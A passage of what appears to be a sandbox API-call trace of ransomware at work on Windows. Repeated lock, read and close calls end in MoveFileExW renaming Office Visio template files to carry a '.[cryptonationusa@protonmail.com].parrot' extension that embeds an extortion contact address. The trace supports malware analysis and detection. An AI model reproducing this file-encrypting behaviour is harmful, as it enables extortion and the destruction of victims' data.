1 [0234.796] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa7b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0234.796] CloseHandle (hObject=0x288) returned 1 [0234.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFSTEP_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfstep_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFSTEP_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfstep_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0234.808] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa7918, nNumberOfBytesToLockHigh=0x0) returned 1 [0234.809] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.809] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.810] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.810] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa7800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa7800, lpOverlapped=0x0) returned 1 [0234.860] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.931] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa7918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0234.931] CloseHandle (hObject=0x288) returned 1 [0234.931] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFSTEP_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfstep_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFSTEP_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfstep_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.937] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0234.943] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17718, nNumberOfBytesToLockHigh=0x0) returned 1 [0234.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.943] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.945] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.945] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17600, lpOverlapped=0x0) returned 1 [0234.954] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.956] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0234.956] CloseHandle (hObject=0x288) returned 1 [0234.956] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFTLBR_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wftlbr_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFTLBR_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wftlbr_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0234.970] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17118, nNumberOfBytesToLockHigh=0x0) returned 1 [0234.970] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.970] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.972] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.972] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17000, lpOverlapped=0x0) returned 1 [0234.977] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.979] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17118, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0234.980] CloseHandle (hObject=0x284) returned 1 [0234.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFTLBR_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wftlbr_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFTLBR_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wftlbr_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0234.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0234.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0234.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e538 | out: hHeap=0x5b0000) returned 1 [0234.990] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22d18, nNumberOfBytesToLockHigh=0x0) returned 1 [0234.990] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0234.990] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0234.991] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.991] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22c00, lpOverlapped=0x0) returned 1 [0234.999] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.001] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22d18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.001] CloseHandle (hObject=0x284) returned 1 [0235.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFWICN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfwicn_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFWICN_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfwicn_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.007] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.007] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0235.007] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0235.010] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22718, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.010] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.010] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.011] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.011] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22600, lpOverlapped=0x0) returned 1 [0235.021] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.023] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.023] CloseHandle (hObject=0x284) returned 1 [0235.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFWICN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfwicn_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WFWICN_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wfwicn_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0235.031] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa2718, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.031] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.031] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.033] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.033] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa2600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa2600, lpOverlapped=0x0) returned 1 [0235.063] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.163] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa2718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.164] CloseHandle (hObject=0x284) returned 1 [0235.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0235.196] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39b18, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.196] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.196] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.197] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.198] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x39a00, lpOverlapped=0x0) returned 1 [0235.212] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.232] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.232] CloseHandle (hObject=0x284) returned 1 [0235.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.238] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0235.241] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9b918, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.241] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.241] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.243] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.243] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9b800, lpOverlapped=0x0) returned 1 [0235.289] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.313] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9b918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.314] CloseHandle (hObject=0x284) returned 1 [0235.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.319] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0235.325] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39918, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.325] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.325] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.326] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.327] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x39800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x39800, lpOverlapped=0x0) returned 1 [0235.340] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.348] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39918, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.348] CloseHandle (hObject=0x284) returned 1 [0235.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WRKFLO_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wrkflo_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.399] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0235.402] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x74518, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.402] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.402] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.403] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.404] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x74400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x74400, lpOverlapped=0x0) returned 1 [0235.428] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.455] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x74518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.455] CloseHandle (hObject=0x284) returned 1 [0235.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSISS_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wssiss_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSISS_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wssiss_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.461] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0235.466] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x72b18, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.466] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.466] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.468] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.468] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x72a00, lpOverlapped=0x0) returned 1 [0235.492] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.522] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x72b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0235.522] CloseHandle (hObject=0x284) returned 1 [0235.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSISS_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wssiss_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\WSSISS_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\wssiss_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0235.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319c088 | out: hHeap=0x5b0000) returned 1 [0235.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e6080 | out: hHeap=0x5b0000) returned 1 [0235.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0235.532] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8dd18, nNumberOfBytesToLockHigh=0x0) returned 1 [0235.532] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0235.532] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0235.534] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.534] 